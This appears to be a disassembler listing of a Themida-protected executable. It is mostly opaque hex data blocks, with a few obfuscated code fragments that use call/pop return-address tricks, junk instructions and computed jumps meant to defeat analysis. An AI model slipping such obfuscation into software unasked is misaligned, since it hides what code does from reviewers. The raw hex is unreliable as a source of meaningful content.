		dd 7CB9B5C3h, 5B9C04BBh, 0F595FF61h, 89060F0Ah,	0F00D58Dh
		dd 0A9BD8306h, 2060F07h, 22840Fh, 8C0F0000h, 4,	0A5B1BF66h
		dd 10DBD8Bh, 858B060Fh,	60F2C8Dh, 0BDBF6650h, 0C65B09h
		dd 0C1C38000h, 106D85C7h, 60Fh,	6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 1FDDD8C3h
		dd 0DE9h, 5D5A3E00h, 3330B548h,	5C448089h, 8B662B8Bh
		db 0DAh
; ---------------------------------------------------------------------------


loc_59BFF1:				; CODE XREF: Themida_:0059BC45j
					; Themida_:0059BC78j
		jmp	near ptr dword_59B394+74h
; ---------------------------------------------------------------------------
		mov	bh, 0EEh
		mov	[ebp+60F334Dh],	edi
		mov	eax, ecx
		push	eax
		pop	edi
		or	bl, 0A2h
		lea	eax, [ebp+60F1461h]
		push	0
		push	ebp
		call	sub_59C016
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59C016	proc near		; CODE XREF: Themida_:0059C00Ep

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_59C016	endp

; ---------------------------------------------------------------------------
		dw 7E37h
		dd 0F6E2AD37h, 11E8h, 23E1B200h, 50801526h, 0DA82D2E3h
		dd 69F3D338h, 12E99D53h, 50000000h, 84CC9BF6h, 0C1043C83h
		dd 0E523CE08h, 21DE8FABh, 0E8505F5Ch, 0Ah, 657EF57Eh, 244A0E57h
		dd 895F7A0Ah, 6A2404h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 29C35545h, 54A47BC1h,	0CD9D89AEh, 6A060F1Ah
		dd 0D3BF6600h, 4D9D01B7h, 8D060F24h, 14133A85h,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 12B1848Ah, 67DCC02h,	85898683h, 60F3289h, 6A05C083h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 999CC357h, 50DEB70Fh, 7E8h, 0E0235B00h, 0FE8D1635h
		dd 2404895Bh, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Ch,	79C35040h, 8967C5BBh, 725DB46Ch, 15919589h, 9D89060Fh
		dd 60F2301h, 0CEBF006Ah, 6A43C5A6h, 25EF8100h, 0FF55BDF5h
		dd 0F348D95h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 72F1DDC2h, 0BB5B6EFDh, 58247422h
		dd 985E8D8Dh, 0DE90612h, 2E000000h, 44882EA0h, 0CDEB5C24h
		dd 7A06A29Ah, 0CF816652h, 0FF5F5CEAh, 0C1C380D1h, 21ADBD83h
		dd 0F01060Fh, 5F85h, 8D8B6000h,	60F175Dh, 0EA816660h, 6160324Dh
		dd 0BD896161h, 60F1B61h, 21BB026Ah, 506AA161h, 94EEBF66h
		dd 6A240489h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 0E99BC351h, 0B10CE1A5h, 27499D01h
		dd 95FF060Fh, 60F30FDh,	11159D8Bh, 9501060Fh, 60F0825h
		dd 0CFCE9h, 0E800h, 815D0000h, 141344EDh, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
		dd 840072D2h, 498819F7h, 858D6326h, 6128847h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0BDC35646h, 50F8AC6Fh
		dd 52505760h, 585A310Fh, 61E5B75Bh, 6A240489h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 0F31C357h, 688h, 19B52900h, 64060F27h, 35FFh, 89640000h
		dd 25h,	52006A00h, 3E8h, 0C35A2000h, 2454895Ah,	24448104h
		dd 1B04h, 0C3524200h, 388CE879h, 73AC3D85h, 0FFD9BF0Fh
		dd 0F245985h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 295AA2A6h, 0ACC3819Ch, 6A02B77Ch
		dd 0FFDE8BFFh, 0F128DB5h, 0BD895306h, 60F1985h,	5595FF5Fh
		dd 0E9060F14h, 143h, 0B558589h,	0B0060Fh, 9850Fh, 8E0F0000h
		dd 3, 0E6DAB70Fh, 0D3816670h, 71E41DDDh, 1B45BD8Bh, 613C060Fh
		dd 115830Fh, 0CCB70000h, 89C8B60Fh, 0F26FD85h, 6BA06h
		dd 810F0000h, 8, 8E0F60h, 61000000h, 12FD9529h,	0C18B060Fh
		dd 1AC58529h, 0E8C1060Fh, 66CAB704h, 0BD8BE2F7h, 60F1B31h
		dd 6E9h, 0D0D4FC00h, 2BB376C6h,	0BD0B52C8h, 60F1CADh, 8BD18B5Fh
		dd 0F23A9BDh, 0B9E906h,	8BF50000h, 4E4985h, 55BD8B44h
		dd 83060F25h, 0B70F07C0h, 0C083FBh, 619D8B60h, 50060F21h
		dd 615B5A51h, 830FD03Bh, 29h, 10E8h, 7ACD100h, 24BDDACh
		dd 7568618Bh, 8BD1A0F7h, 0E5B5890Eh, 5B060F31h,	6CE9EEB3h
		dd 29000000h, 0F144595h, 0FF8D8B06h, 83FFFFFFh,	840F01E1h
		dd 57h,	12E8h, 8A5E1400h, 72FB698Bh, 3DA1BF8Fh,	0A55E49D0h
		dd 0E941E690h, 14h, 23EA0DB5h, 673BA2E1h, 0E98CC7EFh, 0F8A6EE70h
		dd 5965FD8h, 0FFA5835Bh, 0FEFFFFFFh, 1E419589h,	9589060Fh
		dd 44004E49h, 22299D8Bh, 8B51060Fh, 0F14E19Dh, 0E95B06h
		dd 8D000000h, 1393B6B5h, 0BE666006h, 816603FCh,	6143B0E8h
		dd 0BF0F006Ah, 5195FFFEh, 6A060F34h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 0B917C351h
		dd 1057h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 16h,	0D0C35747h, 9D8B3806h, 60F1B89h, 8C0Fh,	0E1830000h
		dd 56006AFCh, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 7783EDB6h, 9D894701h, 60F01ADh, 52006AFCh
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 4B66F8F4h, 0F6D38DFDh, 5D950934h, 8B060F0Ah,	0B8D8h
		dd 0BD8B0000h, 60F2B59h, 850FD22Bh, 6, 1C98D89h, 33AD060Fh
		dd 3E8D1C2h, 4E983D0h, 6AF475h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 98551FC3h, 5DBD8B3Ah
		dd 0E9060F10h, 12h, 6788F76Dh, 23E7A812h, 0E1B55B0Ch, 0C22FE23Ch
		dd 880DD53Ch, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 0A103C353h,	41B58999h
		dd 29060F30h, 0F10E5BDh, 65958B06h, 6A060F2Ch, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 60CDC357h, 0ACCD3D6Ch, 50E0D863h, 1D39BD2Bh,	8D8B060Fh
		dd 60F07C1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	16C35545h, 13E9h, 58F50800h
dword_59C600	dd 98115843h, 9940E536h, 0DDEA9F4Dh, 0D52A9569h, 8BC28B50h
					; DATA XREF: Themida_:0054DD20o
					; Themida_:0054E338o
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 0CE95818h,	64000000h
		dd 38F48059h, 0DE6FBFDDh, 6AE4E801h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 832EC357h
		dd 0F2AD5BDh, 840F0006h, 5Bh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 91C35242h, 0B8F8h, 0F7800000h
		dd 0A78D8D0Fh, 0BB060F4Ch, 4B044B57h, 6AE1FFh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 0D1DC80C3h, 6F9248Fh, 0AD9D29C7h, 83060F2Ah,	0F2491BDh
		dd 840F0006h, 3F8h, 19820Fh, 870F0000h,	13h, 0EE9h, 0BDD3A200h
		dd 0BAF0F3ACh, 5A5CE57Ah, 83311123h, 0F2491BDh,	840F0106h
		dd 3E7h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 18h,	1AC35747h, 1659B264h, 0FE8h, 6296A200h,	0E05ECA82h
		dd 0AAD1D1E6h, 973A998h, 5E9h, 54957B00h, 0F5BBDB9h, 0BD83DEB7h
		dd 60F2491h, 62860F03h,	6A000003h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 2E17C352h
		dd 0C5E335BFh, 8C66600Bh, 19BD2BD9h, 0B060F13h,	0F2159BDh
		dd 4E18006h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 15h,	0C2C35747h, 0B99D33E8h,	0A060F13h, 31840FC9h, 6A000001h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 0D8ABC357h, 8B7E0C58h, 0F2DA985h,	0A5BD0306h
		dd 33060F2Ch, 0F19AD85h, 0FE806h, 0A85D0000h, 9BDDFC58h
		dd 2344656Dh, 7F5403DBh, 459D8B67h, 5B060F2Dh, 90EBD780h
		dd 0FE8h, 0B7350300h, 3F8BB0FBh, 0A631433Fh, 0BE276309h
		dd 13E9h, 952D5A00h, 558C7396h,	79CEBE57h, 558855CFh, 29B9C5Bh
		dd 6A90505Fh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 0B508C351h, 0D6160CF0h, 6ADAA226h
		dd 0BD896000h, 60F04C9h, 0AADCBB66h, 6E961h, 7BA00000h
		dd 0F75A9875h, 4E8h, 1F03FF00h,	448B5000h, 5E90424h, 0B000000h
		dd 0C7CE248Eh, 4489008Bh, 51500424h, 7E9h, 5B793200h, 0DF8355A0h
		dd 66585B5Fh, 0F1E7EB81h, 34C995FFh, 6A060Fh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 0BD31F2C3h
		dd 60F24A5h, 0BAC68589h, 0BD890612h, 60F1039h, 144E9h
		dd 81665700h, 5B55EBCBh, 0BABE858Bh, 850F0612h,	6, 2EA1BD03h
		dd 0C7060Fh, 18h, 24859D2Bh, 0B58B060Fh, 612BAC2h, 8BD98B66h
		dd 0F2FA985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 0D4E3D2EAh, 0E90689E9h, 0Dh, 1E06CE35h
		dd 15C5912Dh, 49B4C8ADh, 0A9858BAAh, 89060F2Dh,	6A0446h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 190EC4C3h, 521C8521h, 5B528DE7h, 0D88B6650h,	6A243489h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 0F720C352h, 8166B7E5h, 0FF9E1CCFh, 12BABEB5h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 3AFBF184h, 0FDBD31E5h, 66060F1Ch, 1C86EF81h
		dd 0B6F28468h, 81DC8A45h, 0F17B2434h, 0CE845A9h, 1F000000h
		dd 0F8B1CAF7h, 0E7E433BDh, 609489BFh, 9019589h,	8D8B060Fh
		dd 60F161Dh, 858D5B61h,	612BAC6h, 0B91BF66h, 2ABF6650h
		dd 24048948h, 34C995FFh, 8C0F060Fh, 5, 0CDC78166h, 6A6139h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 618C5FC3h, 0D3802BABh, 9185C707h, 3060F24h, 83000000h
		dd 12BAC6BDh, 840F0006h, 59h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 0C35343h, 0AB2746B0h, 3287D441h
		dd 9E9h, 0C239B200h, 95075B56h,	3DE9C6B8h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 0CD26C357h, 0FED78166h, 0C305021h, 11440011h, 10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 3DFB70Fh, 0F2FD1BDh,	91BD8306h
		dd 3060F24h, 3DD850Fh, 0BD830000h, 612BAC6h, 0D0840F00h
		dd 8B000003h, 0F2BC1BDh, 0C6B5FF06h, 290612BAh,	0F002DBDh
		dd 0FD95FF06h, 6A060F27h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 0B4EEC352h,	0E5858907h
		dd 0BF060F15h, 23B490C8h, 10119D8Bh, 0B58B060Fh, 612BABAh
		dd 8E9h, 0F9DC2800h, 7CCFAA8Eh,	0E9B501BBh, 0C7060F1Ch
		dd 1000106h, 8B666000h,	61FA8BD0h, 89DD8A50h, 6A2434h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 50FD94C3h, 196DC746h, 0FE8h,	0A149DD00h, 789ECDA7h
		dd 0EFC9902Eh, 0A07FB769h, 0B5FF5FF5h, 612BAC6h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 68C35343h, 334C0292h
		dd 195FFF5h, 89060F13h,	0F2D4185h, 0BAB58B06h, 560612BAh
		dd 26919D89h, 8B5B060Fh, 0F1D1585h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 223AE6EBh
		dd 89DA8B66h, 0C486h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 0F22AB32h, 38Ch, 0FBBF0F00h
		dd 2C65958Bh, 6A060Fh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 621781C3h, 28DA1239h, 6002DDADh
		dd 2801BD09h, 0BD0B060Fh, 60F1D7Dh, 4C28361h, 68D0Fh, 8E0F0000h
		dd 0
; ---------------------------------------------------------------------------
		mov	[eax+20h], edx
		push	0
		push	ecx
		call	sub_59CCAE
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59CCAE	proc near		; CODE XREF: Themida_:0059CCA6p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_59CCAE	endp

; ---------------------------------------------------------------------------
		dw 0B773h
		dd 0E99D0BE9h, 8D060F17h, 12CF1485h, 0D5B52906h, 89060F11h
		dd 0B886h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 6A006AFCh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 55F2C350h, 925BADDh
		dd 0F08D19Dh, 35BD8B06h, 0FF060F17h, 12BAC6B5h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 924703BCh, 7AB77EB7h, 0BD8B1BF0h, 60F3191h, 30FD95FFh
		dd 6A060Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 0E5AF44C3h, 0C70BA7BFh, 45BD2918h, 50060F22h
		dd 178F0Fh, 0CE80000h, 0A2000000h, 8EA13EC1h, 3604A62h
		dd 0BBD3208Bh, 508D19E9h, 2434895Bh, 139D9D8Bh,	0B5FF060Fh
		dd 612BAC6h, 8B9BBB66h,	12E595FFh, 0DF8B060Fh, 0FE8h, 28C6CA00h
		dd 0A213FF89h, 21451F85h, 6ABDD9F9h, 35E88160h,	0F916CB13h
		dd 0BD835F61h, 60F27A1h, 0C840F00h, 31000000h, 0F07E9BDh
		dd 34895006h, 0FFDF8B24h, 12BAC6B5h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 5B576C7Bh
		dd 341595FFh, 9D09060Fh, 60F1AC5h, 0FF20CF80h, 12BAC6B5h
		dd 0B5896006h, 60F22D9h, 178C0Fh, 11E80000h, 9E000000h
		dd 711324D9h, 6DDC97Eh,	2F46E8E3h, 8FB77926h, 95FF615Eh
		dd 60F0AF5h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Dh,	0C4C35141h, 5C66030Dh, 5812372Dh, 0FDBD8B66h, 89060F15h
		dd 0F2BB985h, 0A9BD8306h, 2060F07h, 41840Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 91F2B4C3h, 7B67DBCh,	5B58946h, 8B060F2Bh, 0F2C8D85h
		dd 0D88B6606h, 0E90000C6h, 7, 0BCDA8EE9h, 0C706167Ch, 0F106D85h
		dd 6, 0AD8D8900h, 0E9060F17h, 0FFFFF40Bh, 2B399589h, 0C18B060Fh
		dd 0E9F9BF0Fh, 9, 85D0A927h, 59051F45h,	2EE987h, 29DB0000h
		dd 1E18h, 0Ah dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_59D4FF
; ---------------------------------------------------------------------------
		db 0C6h, 0B3h, 98h
		dd 2A356083h, 0BDA0F215h, 4ED185A8h, 0E7421639h, 8D1FB1D2h
		dd 1A3D52F5h, 0AACDE245h, 3E6176E9h, 29F80D28h,	2E2CCB7Ch
		dd 0C0366F0h, 223D53F3h, 44D8671h, 8D45496Dh, 21404D0h
		dd 6F54893Eh, 23D485C2h, 0C6D039Fh, 7E792A57h, 0B96D039Fh
		dd 8608304h, 290E293Fh,	72A3F74h, 4EF1D671h, 95381D38h
		dd 0A785DC0h, 0E87B1A4Dh, 6C5A267h, 9DC0D570h, 255267FAh
		dd 9EC037E8h, 7D186D03h, 8448FDE2h, 76E9ACCFh, 9E81D2F5h
		dd 0E64116B9h, 54330801h, 589F508Dh, 0DF6D039Fh, 0D24D072Ah
		dd 0FA652E51h, 89ACC2E5h, 9F7783A4h, 0F8B56D03h, 9EED0ABBh
		dd 8D426D03h, 0E138470Ch, 4C0F4637h, 0C1A4F023h, 3AAE710h
		dd 669B506Dh, 2F4BCC81h, 9Bh, 1A3D5316h, 558835h, 0E28C381Dh
		dd 550B6D35h, 0B253D409h, 6D03914Bh, 5DF72AE7h,	0A728DDC2h
		dd 9C7C85E2h, 0D14C0F38h, 1, 280253B8h,	880D0B5h, 0CADA063Bh
		dd 8BD559FAh, 0BA5D4277h, 0F6A3889Bh, 2CEF08B9h, 2EDF6D04h
		dd 6D042CC9h, 40F5B96Eh, 65F89CBFh, 0AEBD1280h,	4EBDB17h
		dd 24BBE672h, 4AD580A3h, 0A53EE11Dh, 0DC603CD7h, 0F8B88B0h
		dd 991A948Ah, 70245784h, 33496CEDh, 0CBF76A2Ah,	0E184D5FDh
		dd 0D9EE23AEh, 41DC79ACh, 0C6EEB05Ch, 0ABAFA9C9h, 53ECF576h
		dd 94371C3Fh, 0F4315EC1h, 44DB443h, 99C67B6Dh, 44E0FE8h
		dd 0F273286Dh, 0E582C70Dh, 0A2B792E6h, 694EE97Fh, 0AA3780BCh
		dd 0D2FC34DEh, 627BDBA6h, 8895A7Bh, 0CBB0B3E5h,	8158276Ch
		dd 592E074Eh, 2F6419FEh, 2714954Ah, 4C0FA401h, 16314679h
		dd 87B98531h, 24FA2254h, 84526EEFh, 15000000h, 421C1BD9h
		dd 0F97A7F8Ch, 2E3F53F0h, 6116FB66h, 4E748334h,	6BB6D04h
		dd 0F49ECD1h, 0F68C2F14h, 8BCB6E53h, 0F045B398h, 426C4B93h
		dd 4571BFF5h, 0BECD2210h, 0BE39EA27h, 796D0386h, 482043C4h
		dd 78ABD8EDh, 9DC041DCh, 0DA7D62C5h, 63C2A7BAh,	70B8411Eh
		dd 0FD4C0F2Ch, 5Dh, 1C3F53E4h, 8699BCEFh, 866BECA1h, 95BFB0E3h
		dd 0D870558Ah, 4710689Bh, 782D120Dh, 28A95E43h,	0B3C70463h
		dd 537A8398h, 6593102h,	44DA255h, 0A3D88D6Dh, 9268896Eh
		dd 9C6D044Dh, 37E13847h, 234C0FF5h, 41C235E6h, 0C16D6D04h
		dd 87B841DDh, 0ADD005F1h, 0DBF778EBh, 1, 1E0153C2h, 65C09639h
		dd 0A386DD80h, 0E77A1BBEh, 57340902h, 9DD00D86h, 3ABD6EF9h
		dd 0F56D044Eh, 0C58A0B40h, 5E31FA6h, 3A3C0C98h,	7C1639BAh
		dd 6C9FCCE1h, 43133629h, 0C546FBE0h, 532A0F9h, 0AB5B254h
		dd 0E3C87D6Bh, 0FA0F2A40h, 0C1A681D7h, 0F4B65DA0h, 0D2B18666h
		dd 0C7DC7F15h, 866BCEA4h, 0C5AA8DE3h, 9E2D3A7Fh, 0D406DC8h
		dd 3F54D548h, 0BBB4DF12h, 6C518699h, 0CF4936B7h, 9C46005Dh
		dd 13Dh, 0E3EFAA83h, 581105B6h,	0A75C6B0Bh, 0EE491FC2h
		dd 85A0B6D9h, 0C467FDA0h, 375499DFh, 7287A2B8h,	0DF9385h
		dd 71D846h, 5F9B0000h, 0F1AC9DA5h, 8D90C5F6h, 3DBEF3A8h
		dd 0E1F1AA34h, 912678B4h, 0EB2019F1h, 4B8C3D6Ah, 0A412FAF6h
		dd 0E5CA5501h, 0D50A2D42h, 5D9ABBA0h, 0BED050Ah, 0AAF12936h
		dd 1E03263Ah, 0D4073469h, 0FFB499BCh, 0D714517Eh, 0CE6FF2A4h
		dd 0ED050A29h, 37D8590Eh, 92FC6CA0h, 0B8F522D7h, 392F007h
		dd 6592476Dh, 39343B4h,	0B637EC6Dh, 0A3C4A1h, 0AA2B0000h
		dd 84A5ECEFh, 88B58678h, 0ADE92653h, 0A5F7FC26h, 2B4063EAh
		dd 0F5762B10h, 0B04D654h, 5305386Bh, 0D68B4FD0h, 1D384EF1h
		dd 0AC8FE508h, 34AA6C7h, 4D2266F5h, 0D6205EAh, 653A452Ah
		dd 0CA9FB706h, 0FD582EBDh, 557D1CE8h, 23C47728h, 47F36501h
		dd 0E3C5B7BCh, 876CA15Dh, 80B38EE4h, 0B3684DE8h, 0E878E512h
		dd 68954A6Ch, 0E87940B7h, 0D42F76Ch, 4BEE8528h,	8D90C366h
		dd 86E53AA8h, 4E81BE37h, 8B381D38h, 0E8791DDAh,	285D126Ch
		dd 9D85E2A7h, 0F8A9D6FCh, 6AF49943h, 5F92BF74h,	98AD2E09h
		dd 0E3EFAA8Fh, 4ED183B6h, 633B469h, 106DE655h, 6F9C516Bh
		dd 1E03263Ch, 2E37C071h, 4B0066F0h, 0DB09516h, 92BFD477h
		dd 452A355Fh, 2A40A399h, 689D0B17h, 9DAEC4E7h, 0CA7F64C7h
		dd 172C6895h, 0B8A2A6E7h, 99BA9F20h, 6EF34CC1h,	6666C095h
		dd 0ACF2ADCDh, 0F5987DB2h, 0DDD6BB9Eh, 286C7B08h, 0BD120035h
		dd 0F04B21AEh, 0D87BAEDBh, 2B36045h, 4EEC3FF5h,	0CF50853Ah
		dd 767CD6ACh, 0C141A96Fh, 0EC2797C3h, 39F46BAEh, 0D87C1F04h
		dd 92676045h, 0C560F6F5h, 4DAA5B98h, 0E24EEB83h, 30C76936h
		dd 0CC011A83h, 0D609364Bh, 14C0A580h, 42A1C20Eh, 0C8DC2BBh
		dd 0D3B893E9h, 1076h, 0AAD7DD00h, 4E3BBC6Dh, 0C3956D04h
		dd 66E79C60h, 1B3E535Dh, 5AFD9336h, 9E81D275h, 0E64116B9h
		dd 2F0A5E01h, 78D3A74Ah, 0B9A4F093h, 0FC6731D4h, 3E217417h
		dd 8952F759h, 8ABD55E2h, 0C132887Ch, 0C58107EDh, 624711C7h
		dd 200ECD81h, 0F581074Eh, 67EE22CAh, 835DEA01h,	148704EAh
		dd 28685C24h, 89000059h, 3B682434h, 89000043h, 7368242Ch
		dd 8B061420h, 0C4812434h, 4, 242C8B54h,	5604C483h, 203FBE56h
		dd 740143B3h, 8F5E0424h, 6D810845h, 0B3203F08h,	242C8B43h
		dd 5E08950h, 4,	8704C083h, 0FF5C2404h, 815E2434h, 4C4h
		dd 5888E900h
		db 0FBh, 0FFh, 0FCh
; ---------------------------------------------------------------------------


loc_59D4FF:				; CODE XREF: Themida_:0059CF38j
		mov	eax, 61425B0h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 3634D30Ch, 560375A8h, 791FE0D1h, 79CFC3h, 3AF250h, 4680456Ch
		dd 7649F00Dh, 3CC9FBBBh, 3A718309h, 51C89A2Eh, 2D21D4D7h
		dd 7839015Fh, 0AF0A95Fh, 2D26A157h, 1B6316C8h, 2EF2EF7Eh
		dd 665F31C2h, 56058AB5h, 3165FAC2h, 60E3457Ah, 6D6B3A5Dh
		dd 3D2E1828h, 0B1FB706h, 0BABCB40h, 4EDD49B0h, 1A274F06h
		dd 3BEB9318h, 4F7B62E3h, 736A989Ah, 3DD41FD8h, 3CC5091h
		dd 1461858Dh, 0E950060Fh, 0Dh, 0C73BC27Ch, 31E0BF48h, 7013F5C5h
		dd 24048968h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Ah,	0DC35747h, 79FC145Bh, 9D03383Dh, 60F07BDh, 2BED8589h
		dd 6A060Fh, 0A61BD29h, 6A060Fh,	0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 5AC35242h, 0E989AA78h, 8DF373ABh
		dd 1428C085h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1C04h, 0C3504000h, 0A1FDD74Ch, 0F79EB293h, 0C9BD8B83h
		dd 83060F13h, 9E805C0h,	0A7000000h, 175D23C6h, 0A115614Eh
		dd 6820Fh, 0DF810000h, 0F6DBADFh, 4CBB905Fh, 505CF0F6h
		dd 9E8h, 0D786BB00h, 0FD9A3647h, 0BF660306h, 905B8CB2h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 83C35242h
		dd 4893B75Dh, 6A006A1Bh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 81BBC356h, 8A5E14EDh
		dd 6A698Bh, 0FFDBBF0Fh,	0F348D95h, 0FD8D2906h, 8D060F26h
		dd 12985E8Dh, 0E5C38006h, 6830Fh, 0BD310000h, 60F13B1h
		dd 8589D1FFh, 60F23A1h,	15ED8529h, 0BD83060Fh, 60F21ADh
		dd 9F850F01h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 50E3C356h, 0F307194Ch
		dd 0BF0F51FDh, 26A5BFBh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 3DC35646h, 0E3C92CB4h, 59F2EC95h, 93BB90D6h
		dd 504FEC61h, 0C78B6660h, 0B1CFBA60h, 5851261Eh, 0FF906161h
		dd 0F30FD95h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 8B0F59E4h, 5, 90143ABFh, 6656575Bh
		dd 5B5BD88Bh, 19A59D8Bh, 3AE9060Fh, 0E800000Eh,	0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 61428CAh
		movzx	ebx, si
		mov	edi, [ebp+60F34C5h]
		lea	eax, [ebp+6128847h]
		push	0
		push	esi
		call	sub_59D7B5
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59D7B5	proc near		; CODE XREF: Themida_:0059D7ADp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_59D7B5	endp

; ---------------------------------------------------------------------------
		db 0F2h, 4, 2Fh
		dd 2FCDBE74h, 0AD8D8927h, 80060F1Ch, 609083CBh,	0C4CF34BEh
		dd 0FE8B6659h, 5BBB5061h, 902BCDC9h, 35FF64h, 8B000000h
		dd 0F17D59Dh, 25896406h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_59D807
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59D807	proc near		; CODE XREF: Themida_:0059D7FFp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_59D807	endp

; ---------------------------------------------------------------------------
		db 35h
		dd 8D9617D5h, 0E96FCD7Eh, 0Eh, 318A1C1Dh, 8CAE6F4Fh, 0F3E1E286h
		dd 85FFA597h, 60F2459h,	17059D8Bh, 0FF6A060Fh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 2AC35343h, 62860C00h
		dd 0B5FFABD2h, 60F1CB1h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Ah, 0E5C35040h, 870922ECh, 8D01D651h, 60F1B11h
		dd 145595FFh, 38E9060Fh, 89000001h, 0F2475B5h, 8900B006h
		dd 0F343D9Dh, 8170E606h, 6022F1DFh, 9D895020h, 60F13C9h
